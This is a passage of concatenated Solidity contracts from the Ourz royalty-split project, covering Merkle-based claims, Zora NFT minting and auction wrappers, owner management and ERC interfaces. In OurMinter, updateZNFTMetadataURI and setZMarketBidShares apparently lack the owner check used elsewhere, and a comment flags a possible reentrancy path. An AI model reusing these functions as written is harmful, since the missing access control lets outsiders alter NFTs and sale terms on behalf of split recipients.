) private { // Make sure that the user has this allocation granted. require( _verifyProof( merkleProof, merkleRoot, _getNode(account, percentageAllocation) ), "Invalid proof" ); uint256 amount = 0; for (uint256 i = 0; i < currentWindow; i++) { if (!isClaimed(i, account)) { _setClaimed(i, account); amount += scaleAmountByPercentage( balanceForWindow[i], percentageAllocation ); } } _transferETHOrWETH(account, amount); } //======== Private Functions ======== function _setClaimed(uint256 window, address account) private { _claimed[_getClaimHash(window, account)] = true; } // Will attempt to transfer ETH, but will transfer WETH instead if it fails. function _transferETHOrWETH(address to, uint256 value) private returns (bool didSucceed) { // Try to transfer ETH to the given recipient. didSucceed = _attemptETHTransfer(to, value); if (!didSucceed) { // If the transfer fails, wrap and send as WETH, so that // the auction is not impeded and the recipient still // can claim ETH via the WETH contract (similar to escrow). IWETH(WETH).deposit{value: value}(); IWETH(WETH).transfer(to, value); // At this point, the recipient can unwrap WETH. didSucceed = true; } emit TransferETH(to, value, didSucceed); } function _attemptETHTransfer(address to, uint256 value) private returns (bool) { // Here increase the gas limit a reasonable amount above the default, and try // to send ETH to the recipient. // NOTE: This might allow the recipient to attempt a limited reentrancy attack. // solhint-disable-next-line avoid-low-level-calls (bool success, ) = to.call{value: value, gas: 30000}(""); return success; } /** * @dev Transfers ERC20s * @notice Reverts entire transaction if one fails * @notice A rogue owner could easily bypass countermeasures. Provided as last resort, * in case Proxy receives ERC20. */ function _attemptERC20Transfer( address tokenAddress, address splitRecipient, uint256 allocatedAmount ) private { bool didSucceed = IERC20(tokenAddress).transfer( splitRecipient, allocatedAmount ); require(didSucceed); } function _getClaimHash(uint256 window, address account) private pure returns (bytes32) { return keccak256(abi.encodePacked(window, account)); } function _amountFromPercent(uint256 amount, uint32 percent) private pure returns (uint256) { // Solidity 0.8.0 lets us do this without SafeMath. return (amount * percent) / 100; } function _getNode(address account, uint256 percentageAllocation) private pure returns (bytes32) { return keccak256(abi.encodePacked(account, percentageAllocation)); } // From https://github.com/protofire/zeppelin-solidity/blob/master/contracts/MerkleProof.sol function _verifyProof( bytes32[] memory proof, bytes32 root, bytes32 leaf ) private pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256( abi.encodePacked(computedHash, proofElement) ); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256( abi.encodePacked(proofElement, computedHash) ); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.4; pragma experimental ABIEncoderV2; import {OurManagement} from "./OurManagement.sol"; import {IZora} from "./interfaces/IZora.sol"; import {IERC721} from "./interfaces/IERC721.sol"; /** * @title OurMinter * @author Nick A. * https://github.com/ourz-network/our-contracts * * These contracts enable creators, builders, & collaborators of all kinds * to receive royalties for their collective work, forever. * * Thank you, * @author Mirror @title Splits https://github.com/mirror-xyz/splits * @author Gnosis @title Safe https://github.com/gnosis/safe-contracts * @author OpenZeppelin https://github.com/OpenZeppelin/openzeppelin-contracts * @author Zora https://github.com/ourzora * * * * @notice Some functions are marked as 'untrusted'Function. Use caution when interacting * with these, as any contracts you supply could be potentially unsafe. * 'Trusted' functions on the other hand -- implied by the absence of 'untrusted' -- * are hardcoded to use the Zora Protocol addresses. * https://consensys.github.io/smart-contract-best-practices/recommendations/#mark-untrusted-contracts */ contract OurMinter is OurManagement { address public constant ZORA_MEDIA = 0xabEFBc9fD2F806065b4f3C237d4b59D9A97Bcac7; address public constant ZORA_MARKET = 0xE5BFAB544ecA83849c53464F85B7164375Bdaac1; address public constant ZORA_AH = 0xE468cE99444174Bd3bBBEd09209577d25D1ad673; address public constant ZORA_EDITIONS = 0x91A8713155758d410DFAc33a63E193AE3E89F909; //======== Subgraph ========= event ZNFTMinted(uint256 tokenId); event EditionCreated( address editionAddress, string name, string symbol, string description, string animationUrl, string imageUrl, uint256 editionSize, uint256 royaltyBPS ); /**======== IZora ========= * @notice Various functions allowing a Split to interact with Zora Protocol * @dev see IZora.sol * Media -> Market -> AH -> Editions -> QoL Functions */ /** Media * @notice Mint new Zora NFT for Split Contract. */ function mintZNFT( IZora.MediaData calldata mediaData, IZora.BidShares calldata bidShares ) external onlyOwners { IZora(ZORA_MEDIA).mint(mediaData, bidShares); emit ZNFTMinted(_getID()); } /** Media * @notice Update the token URIs for a Zora NFT owned by Split Contract */ function updateZNFTURIs( uint256 tokenId, string calldata tokenURI, string calldata metadataURI ) external onlyOwners { IZora(ZORA_MEDIA).updateTokenURI(tokenId, tokenURI); IZora(ZORA_MEDIA).updateTokenMetadataURI(tokenId, metadataURI); } /** Media * @notice Update the token URI */ function updateZNFTTokenURI(uint256 tokenId, string calldata tokenURI) external onlyOwners { IZora(ZORA_MEDIA).updateTokenURI(tokenId, tokenURI); } /** Media * @notice Update the token metadata uri */ function updateZNFTMetadataURI(uint256 tokenId, string calldata metadataURI) external { IZora(ZORA_MEDIA).updateTokenMetadataURI(tokenId, metadataURI); } /** Market * @notice Update zora/core/market bidShares (NOT zora/auctionHouse) */ function setZMarketBidShares( uint256 tokenId, IZora.BidShares calldata bidShares ) external { IZora(ZORA_MARKET).setBidShares(tokenId, bidShares); } /** Market * @notice Update zora/core/market ask */ function setZMarketAsk(uint256 tokenId, IZora.Ask calldata ask) external onlyOwners { IZora(ZORA_MARKET).setAsk(tokenId, ask); } /** Market * @notice Remove zora/core/market ask */ function removeZMarketAsk(uint256 tokenId) external onlyOwners { IZora(ZORA_MARKET).removeAsk(tokenId); } /** Market * @notice Accept zora/core/market bid */ function acceptZMarketBid(uint256 tokenId, IZora.Bid calldata expectedBid) external onlyOwners { IZora(ZORA_MARKET).acceptBid(tokenId, expectedBid); } /** AuctionHouse * @notice Create auction on Zora's AuctionHouse for an owned/approved NFT * @dev reccomended auctionCurrency: ETH or WETH * ERC20s may not be split perfectly. If the amount is indivisible * among ALL recipients, the remainder will be sent to a single recipient. */ function createZoraAuction( uint256 tokenId, address tokenContract, uint256 duration, uint256 reservePrice, address payable curator, uint8 curatorFeePercentage, address auctionCurrency ) external onlyOwners { IZora(ZORA_AH).createAuction( tokenId, tokenContract, duration, reservePrice, curator, curatorFeePercentage, auctionCurrency ); } /** AuctionHouse * @notice Approves an Auction proposal that requested the Split be the curator */ function setZAuctionApproval(uint256 auctionId, bool approved) external onlyOwners { IZora(ZORA_AH).setAuctionApproval(auctionId, approved); } /** AuctionHouse * @notice Set an Auction's reserve price */ function setZAuctionReservePrice(uint256 auctionId, uint256 reservePrice) external onlyOwners { IZora(ZORA_AH).setAuctionReservePrice(auctionId, reservePrice); } /** AuctionHouse * @notice Cancel an Auction before any bids have been placed */ function cancelZAuction(uint256 auctionId) external onlyOwners { IZora(ZORA_AH).cancelAuction(auctionId); } /** NFT-Editions * @notice Creates a new edition contract as a factory with a deterministic address * @dev if publicMint is true & salePrice is more than 0: * anyone will be able to mint immediately after the edition is deployed * Set salePrice to 0 if you wish to enable purchasing at a later time */ function createZoraEdition( string memory name, string memory symbol, string memory description, string memory animationUrl, bytes32 animationHash, string memory imageUrl, bytes32 imageHash, uint256 editionSize, uint256 royaltyBPS, uint256 salePrice, bool publicMint ) external onlyOwners { uint256 editionId = IZora(ZORA_EDITIONS).createEdition( name, symbol, description, animationUrl, animationHash, imageUrl, imageHash, editionSize, royaltyBPS ); address editionAddress = IZora(ZORA_EDITIONS).getEditionAtId(editionId); if (salePrice > 0) { IZora(editionAddress).setSalePrice(salePrice); } if (publicMint) { IZora(editionAddress).setApprovedMinter(address(0x0), true); } emit EditionCreated( editionAddress, name, symbol, description, animationUrl, imageUrl, editionSize, royaltyBPS ); } /** NFT-Editions * @param salePrice if sale price is 0 sale is stopped, otherwise that amount * of ETH is needed to start the sale. * @dev This sets a simple ETH sales price * Setting a sales price allows users to mint the edition until it sells out. * For more granular sales, use an external sales contract. */ function setEditionPrice(address editionAddress, uint256 salePrice) external onlyOwners { IZora(editionAddress).setSalePrice(salePrice); } /** NFT-Editions * @param editionAddress the address of the Edition Contract to call * @param minter address to set approved minting status for * @param allowed boolean if that address is allowed to mint * @dev Sets the approved minting status of the given address. * This requires that msg.sender is the owner of the given edition id. * If the ZeroAddress (address(0x0)) is set as a minter, * anyone will be allowed to mint. * This setup is similar to setApprovalForAll in the ERC721 spec. */ function setEditionMinter( address editionAddress, address minter, bool allowed ) external onlyOwners { IZora(editionAddress).setApprovedMinter(minter, allowed); } /** NFT-Editions * @param editionAddress the address of the Edition Contract to call * @param recipients list of addresses to send the newly minted editions to * @dev This mints multiple editions to the given list of addresses. */ function mintEditionsTo( address editionAddress, address[] calldata recipients ) external onlyOwners { IZora(editionAddress).mintEditions(recipients); } /** NFT-Editions * @param editionAddress the address of the Edition Contract to call * @dev Withdraws all funds from Edition to split * @notice callable by anyone, as funds are sent to the Split */ function withdrawEditionFunds(address editionAddress) external { IZora(editionAddress).withdraw(); } /** NFT-Editions * @param editionAddress the address of the Edition Contract to call * @dev Allows for updates of edition urls by the owner of the edition. * Only URLs can be updated (data-uris are supported), hashes cannot be updated. */ function updateEditionURLs( address editionAddress, string memory imageUrl, string memory animationUrl ) external onlyOwners { IZora(editionAddress).updateEditionURLs(imageUrl, animationUrl); } /** QoL * @notice Approve the Zora Auction House to manage Split's ERC-721s * @dev Called internally in Proxy's Constructo */ /* solhint-disable ordering */ function _setApprovalForAH() internal { IERC721(ZORA_MEDIA).setApprovalForAll(ZORA_AH, true); } /** QoL * @notice Mints a Zora NFT with this Split as the Creator, * and then list it on AuctionHouse for ETH */ function mintToAuctionForETH( IZora.MediaData calldata mediaData, IZora.BidShares calldata bidShares, uint256 duration, uint256 reservePrice ) external onlyOwners { IZora(ZORA_MEDIA).mint(mediaData, bidShares); uint256 tokenId_ = _getID(); emit ZNFTMinted(tokenId_); IZora(ZORA_AH).createAuction( tokenId_, ZORA_MEDIA, duration, reservePrice, payable(address(this)), 0, address(0) ); } /* solhint-enable ordering */ /**======== IERC721 ========= * NOTE: Althought OurMinter.sol is generally implemented to work with Zora, * the functions below allow a Split to work with any ERC-721 spec'd platform; * (except for minting, @dev 's see untrustedExecuteTransaction() below) * @dev see IERC721.sol */ /** * NOTE: Marked as >> untrusted << Use caution when supplying tokenContract_ * @dev In case non-Zora ERC721 gets stuck in Account. * @notice safeTransferFrom(address from, address to, uint256 tokenId) */ function untrustedSafeTransferERC721( address tokenContract_, address newOwner_, uint256 tokenId_ ) external onlyOwners { IERC721(tokenContract_).safeTransferFrom( address(this), newOwner_, tokenId_ ); } /** * NOTE: Marked as >> untrusted << Use caution when supplying tokenContract_ * @dev sets approvals for non-Zora ERC721 contract * @notice setApprovalForAll(address operator, bool approved) */ function untrustedSetApprovalERC721( address tokenContract_, address operator_, bool approved_ ) external onlyOwners { IERC721(tokenContract_).setApprovalForAll(operator_, approved_); } /** * NOTE: Marked as >> untrusted << Use caution when supplying tokenContract_ * @dev burns non-Zora ERC721 that Split contract owns/isApproved * @notice setApprovalForAll(address operator, bool approved) */ function untrustedBurnERC721(address tokenContract_, uint256 tokenId_) external onlyOwners { IERC721(tokenContract_).burn(tokenId_); } /** ======== CAUTION ========= * NOTE: As always, avoid interacting with contracts you do not trust entirely. * @dev allows a Split Contract to call (non-payable) functions of any other contract * @notice This function is added for 'future-proofing' capabilities, & to support the use of custom ERC721 creator contracts. * @notice In the interest of securing the Split's funds for Recipients from a rogue owner, * the msg.value is hardcoded to zero. */ function executeTransaction(address to, bytes memory data) external onlyOwners returns (bool success) { // solhint-disable-next-line no-inline-assembly assembly { success := call(gas(), to, 0, add(data, 0x20), mload(data), 0, 0) } } /// @dev calculates tokenID of newly minted ZNFT function _getID() private returns (uint256 id) { id = IZora(ZORA_MEDIA).tokenByIndex( IZora(ZORA_MEDIA).totalSupply() - 1 ); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.4; import "./interfaces/ERC1155TokenReceiver.sol"; import "./interfaces/ERC721TokenReceiver.sol"; import "./interfaces/ERC777TokensRecipient.sol"; import "./interfaces/IERC165.sol"; /** * @title OurIntrospector * @author Nick A. * https://github.com/ourz-network/our-contracts * * These contracts enable creators, builders, & collaborators of all kinds * to receive royalties for their collective work, forever. * * Thank you, * @author Mirror @title Splits https://github.com/mirror-xyz/splits * @author Gnosis @title Safe https://github.com/gnosis/safe-contracts * @author OpenZeppelin https://github.com/OpenZeppelin/openzeppelin-contracts * @author Zora https://github.com/ourzora */ contract OurIntrospector is ERC1155TokenReceiver, ERC777TokensRecipient, ERC721TokenReceiver, IERC165 { //======== ERC721 ========= // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.0/contracts/token/ERC721/IERC721Receiver.sol function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { return 0x150b7a02; } //======== IERC1155 ========= // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.0/contracts/token/ERC1155/IERC1155Receiver.sol function onERC1155Received( address, address, uint256, uint256, bytes calldata ) external pure override returns (bytes4) { return 0xf23a6e61; } function onERC1155BatchReceived( address, address, uint256[] calldata, uint256[] calldata, bytes calldata ) external pure override returns (bytes4) { return 0xbc197c81; } //======== IERC777 ========= // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.0/contracts/token/ERC777/IERC777Recipient.sol //sol // solhint-disable-next-line ordering event ERC777Received( address operator, address from, address to, uint256 amount ); function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata, bytes calldata ) external override { emit ERC777Received(operator, from, to, amount); } //======== IERC165 ========= // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.0/contracts/utils/introspection/ERC165.sol function supportsInterface(bytes4 interfaceId) external pure override returns (bool) { return interfaceId == type(ERC1155TokenReceiver).interfaceId || interfaceId == type(ERC721TokenReceiver).interfaceId || interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.4; /** * @title OurStorage * @author Nick A. * https://github.com/ourz-network/our-contracts * * These contracts enable creators, builders, & collaborators of all kinds * to receive royalties for their collective work, forever. * * Thank you, * @author Mirror @title Splits https://github.com/mirror-xyz/splits * @author Gnosis @title Safe https://github.com/gnosis/safe-contracts * @author OpenZeppelin https://github.com/OpenZeppelin/openzeppelin-contracts * @author Zora https://github.com/ourzora */ contract OurStorage { bytes32 public merkleRoot; uint256 public currentWindow; address internal _pylon; address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; uint256[] public balanceForWindow; mapping(bytes32 => bool) internal _claimed; uint256 internal _depositedInWindow; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.4; /** * @title OurManagement * @author Nick A. * https://github.com/ourz-network/our-contracts * * These contracts enable creators, builders, & collaborators of all kinds * to receive royalties for their collective work, forever. * * Thank you, * @author Mirror @title Splits https://github.com/mirror-xyz/splits * @author Gnosis @title Safe https://github.com/gnosis/safe-contracts * @author OpenZeppelin https://github.com/OpenZeppelin/openzeppelin-contracts * @author Zora https://github.com/ourzora */ contract OurManagement { // used as origin pointer for linked list of owners /* solhint-disable private-vars-leading-underscore */ address internal constant SENTINEL_OWNERS = address(0x1); mapping(address => address) internal owners; uint256 internal ownerCount; uint256 internal threshold; /* solhint-enable private-vars-leading-underscore */ event SplitSetup(address[] owners); event AddedOwner(address owner); event RemovedOwner(address owner); event NameChanged(string newName); modifier onlyOwners() { // This is a function call as it minimized the bytecode size checkIsOwner(_msgSender()); _; } /// @dev Allows to add a new owner function addOwner(address owner) public onlyOwners { // Owner address cannot be null, the sentinel or the Safe itself. require( owner != address(0) && owner != SENTINEL_OWNERS && owner != address(this) ); // No duplicate owners allowed. require(owners[owner] == address(0)); owners[owner] = owners[SENTINEL_OWNERS]; owners[SENTINEL_OWNERS] = owner; ownerCount++; emit AddedOwner(owner); } /// @dev Allows to remove an owner function removeOwner(address prevOwner, address owner) public onlyOwners { // Validate owner address and check that it corresponds to owner index. require(owner != address(0) && owner != SENTINEL_OWNERS); require(owners[prevOwner] == owner); owners[prevOwner] = owners[owner]; owners[owner] = address(0); ownerCount--; emit RemovedOwner(owner); } /// @dev Allows to swap/replace an owner from the Proxy with another address. /// @param prevOwner Owner that pointed to the owner to be replaced in the linked list /// @param oldOwner Owner address to be replaced. /// @param newOwner New owner address. function swapOwner( address prevOwner, address oldOwner, address newOwner ) public onlyOwners { // Owner address cannot be null, the sentinel or the Safe itself. require( newOwner != address(0) && newOwner != SENTINEL_OWNERS && newOwner != address(this), "2" ); // No duplicate owners allowed. require(owners[newOwner] == address(0), "3"); // Validate oldOwner address and check that it corresponds to owner index. require(oldOwner != address(0) && oldOwner != SENTINEL_OWNERS, "4"); require(owners[prevOwner] == oldOwner, "5"); owners[newOwner] = owners[oldOwner]; owners[prevOwner] = newOwner; owners[oldOwner] = address(0); emit RemovedOwner(oldOwner); emit AddedOwner(newOwner); } /// @dev for subgraph function editNickname(string calldata newName_) public onlyOwners { emit NameChanged(newName_); } function isOwner(address owner) public view returns (bool) { return owner != SENTINEL_OWNERS && owners[owner] != address(0); } /// @dev Returns array of owners. function getOwners() public view returns (address[] memory) { address[] memory array = new address[](ownerCount); // populate return array uint256 index = 0; address currentOwner = owners[SENTINEL_OWNERS]; while (currentOwner != SENTINEL_OWNERS) { array[index] = currentOwner; currentOwner = owners[currentOwner]; index++; } return array; } /** * @dev Setup function sets initial owners of contract. * @param owners_ List of Split Owners (can mint/manage auctions) * @notice threshold ensures that setup function can only be called once. */ /* solhint-disable private-vars-leading-underscore */ function setupOwners(address[] memory owners_) internal { require(threshold == 0, "Setup has already been completed once."); // Initializing Proxy owners. address currentOwner = SENTINEL_OWNERS; for (uint256 i = 0; i < owners_.length; i++) { address owner = owners_[i]; require( owner != address(0) && owner != SENTINEL_OWNERS && owner != address(this) && currentOwner != owner ); require(owners[owner] == address(0)); owners[currentOwner] = owner; currentOwner = owner; } owners[currentOwner] = SENTINEL_OWNERS; ownerCount = owners_.length; threshold = 1; } function _msgSender() internal view returns (address) { return msg.sender; } function checkIsOwner(address caller_) internal view { require( isOwner(caller_), "Caller is not a whitelisted owner of this Split" ); } /* solhint-enable private-vars-leading-underscore */ } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.4; /** * @title Minimal Interface for the Zora Protocol. * @author (s): * https://github.com/ourzora/ * * @notice combination of Market, Media, and AuctionHouse contracts' interfaces. */ /* solhint-disable private-vars-leading-underscore, ordering */ interface IZora { /** * @title Interface for Decimal */ struct D256 { uint256 value; } /** * @title Interface for Zora Protocol's Media */ struct EIP712Signature { uint256 deadline; uint8 v; bytes32 r; bytes32 s; } struct MediaData { // A valid URI of the content represented by this token string tokenURI; // A valid URI of the metadata associated with this token string metadataURI; // A SHA256 hash of the content pointed to by tokenURI bytes32 contentHash; // A SHA256 hash of the content pointed to by metadataURI bytes32 metadataHash; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() external returns (uint256); /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) external returns (uint256); /** * @notice Mint new media for msg.sender. */ function mint(MediaData calldata data, BidShares calldata bidShares) external; /** * @notice EIP-712 mintWithSig method. Mints new media for a creator given a valid signature. */ function mintWithSig( address creator, MediaData calldata data, BidShares calldata bidShares, EIP712Signature calldata sig ) external; /** * @notice Update the token URI */ function updateTokenURI(uint256 tokenId, string calldata tokenURI) external; /** * @notice Update the token metadata uri */ function updateTokenMetadataURI( uint256 tokenId, string calldata metadataURI ) external; /** * @title Interface for Zora Protocol's Market */ struct Bid { // Amount of the currency being bid uint256 amount; // Address to the ERC20 token being used to bid address currency; // Address of the bidder address bidder; // Address of the recipient address recipient; // % of the next sale to award the current owner D256 sellOnShare; } struct Ask { // Amount of the currency being asked uint256 amount; // Address to the ERC20 token being asked address currency; } struct BidShares { // % of sale value that goes to the _previous_ owner of the nft D256 prevOwner; // % of sale value that goes to the original creator of the nft D256 creator; // % of sale value that goes to the seller (current owner) of the nft D256 owner; } function setBidShares(uint256 tokenId, BidShares calldata bidShares) external; function setAsk(uint256 tokenId, Ask calldata ask) external; function removeAsk(uint256 tokenId) external; function setBid( uint256 tokenId, Bid calldata bid, address spender ) external; function removeBid(uint256 tokenId, address bidder) external; function acceptBid(uint256 tokenId, Bid calldata expectedBid) external; /** * @title Interface for Auction House */ struct Auction { // ID for the ERC721 token uint256 tokenId; // Address for the ERC721 contract address tokenContract; // Whether or not the auction curator has approved the auction to start bool approved; // The current highest bid amount uint256 amount; // The length of time to run the auction for, after the first bid was made uint256 duration; // The time of the first bid uint256 firstBidTime; // The minimum price of the first bid uint256 reservePrice; // The sale percentage to send to the curator uint8 curatorFeePercentage; // The address that should receive the funds once the NFT is sold. address tokenOwner; // The address of the current highest bid address payable bidder; // The address of the auction's curator. // The curator can reject or approve an auction address payable curator; // The address of the ERC-20 currency to run the auction with. // If set to 0x0, the auction will be run in ETH address auctionCurrency; } function createAuction( uint256 tokenId, address tokenContract, uint256 duration, uint256 reservePrice, address payable curator, uint8 curatorFeePercentage, address auctionCurrency ) external returns (uint256); function setAuctionApproval(uint256 auctionId, bool approved) external; function setAuctionReservePrice(uint256 auctionId, uint256 reservePrice) external; function createBid(uint256 auctionId, uint256 amount) external payable; function endAuction(uint256 auctionId) external; function cancelAuction(uint256 auctionId) external; /** * @title Interface for NFT-Editions */ /// Creates a new edition contract as a factory with a deterministic address /// Important: None of these fields (except the Url fields with the same hash) can be changed after calling /// @param _name Name of the edition contract /// @param _symbol Symbol of the edition contract /// @param _description Metadata: Description of the edition entry /// @param _animationUrl Metadata: Animation url (optional) of the edition entry /// @param _animationHash Metadata: SHA-256 Hash of the animation (if no animation url, can be 0x0) /// @param _imageUrl Metadata: Image url (semi-required) of the edition entry /// @param _imageHash Metadata: SHA-256 hash of the Image of the edition entry (if not image, can be 0x0) /// @param _editionSize Total size of the edition (number of possible editions) /// @param _royaltyBPS BPS amount of royalty function createEdition( string memory _name, string memory _symbol, string memory _description, string memory _animationUrl, bytes32 _animationHash, string memory _imageUrl, bytes32 _imageHash, uint256 _editionSize, uint256 _royaltyBPS ) external returns (uint256); /** @param _salePrice if sale price is 0 sale is stopped, otherwise that amount of ETH is needed to start the sale. @dev This sets a simple ETH sales price Setting a sales price allows users to mint the edition until it sells out. For more granular sales, use an external sales contract. */ function setSalePrice(uint256 _salePrice) external; /** @dev This withdraws ETH from the contract to the contract owner. */ function withdraw() external; /** @param recipients list of addresses to send the newly minted editions to @dev This mints multiple editions to the given list of addresses. */ function mintEditions(address[] memory recipients) external returns (uint256); /** Get edition given the created ID @param editionId id of edition to get contract for @return address of SingleEditionMintable Edition NFT contract */ function getEditionAtId(uint256 editionId) external view returns (address); /** @param minter address to set approved minting status for @param allowed boolean if that address is allowed to mint @dev Sets the approved minting status of the given address. This requires that msg.sender is the owner of the given edition id. If the ZeroAddress (address(0x0)) is set as a minter, anyone will be allowed to mint. This setup is similar to setApprovalForAll in the ERC721 spec. */ function setApprovedMinter(address minter, bool allowed) external; /** @dev Allows for updates of edition urls by the owner of the edition. Only URLs can be updated (data-uris are supported), hashes cannot be updated. */ function updateEditionURLs( string memory _imageUrl, string memory _animationUrl ) external; } /* solhint-enable private-vars-leading-underscore, ordering */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Minimal Interface for ERC721s * @author (s): * https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token/ERC721 * * @dev Allows Split contract to interact with ERC-721s beyond the Zora Protocol. */ /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ interface IERC721Burnable { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) external; } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC721Burnable, IERC721Enumerable { /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @notice Most NFT Protocols vary in their implementation of mint, * @notice so this should be changed if you know you will need to use a * @notice different protocol. * @dev lowest common denominator mint() */ // function mint(string calldata calldatacontentURI_ || address to_ || etc...) external; } // SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /** Note: The ERC-165 identifier for this interface is 0x4e2312e0. */ interface ERC1155TokenReceiver { /** @notice Handle the receipt of a single ERC1155 token type. @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated. This function MUST return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61) if it accepts the transfer. This function MUST revert if it rejects the transfer. Return of any other value than the prescribed keccak256 generated value MUST result in the transaction being reverted by the caller. @param _operator The address which initiated the transfer (i.e. msg.sender) @param _from The address which previously owned the token @param _id The ID of the token being transferred @param _value The amount of tokens being transferred @param _data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` */ function onERC1155Received( address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data ) external returns (bytes4); /** @notice Handle the receipt of multiple ERC1155 token types. @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated. This function MUST return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81) if it accepts the transfer(s). This function MUST revert if it rejects the transfer(s). Return of any other value than the prescribed keccak256 generated value MUST result in the transaction being reverted by the caller. @param _operator The address which initiated the batch transfer (i.e. msg.sender) @param _from The address which previously owned the token @param _ids An array containing ids of each token being transferred (order and length must match _values array) @param _values An array containing amounts of each token being transferred (order and length must match _ids array) @param _data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155BatchReceived( address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data ) external returns (bytes4); } // SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02. interface ERC721TokenReceiver { /// @notice Handle the receipt of an NFT /// @dev The ERC721 smart contract calls this function on the recipient /// after a `transfer`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the /// transaction being reverted. /// Note: the contract address is always the message sender. /// @param _operator The address which called `safeTransferFrom` function /// @param _from The address which previously owned the token /// @param _tokenId The NFT identifier which is being transferred /// @param _data Additional data with no specified format /// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` /// unless throwing function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes calldata _data ) external returns (bytes4); } // SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; interface ERC777TokensRecipient { function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; } // SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @notice More details at https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
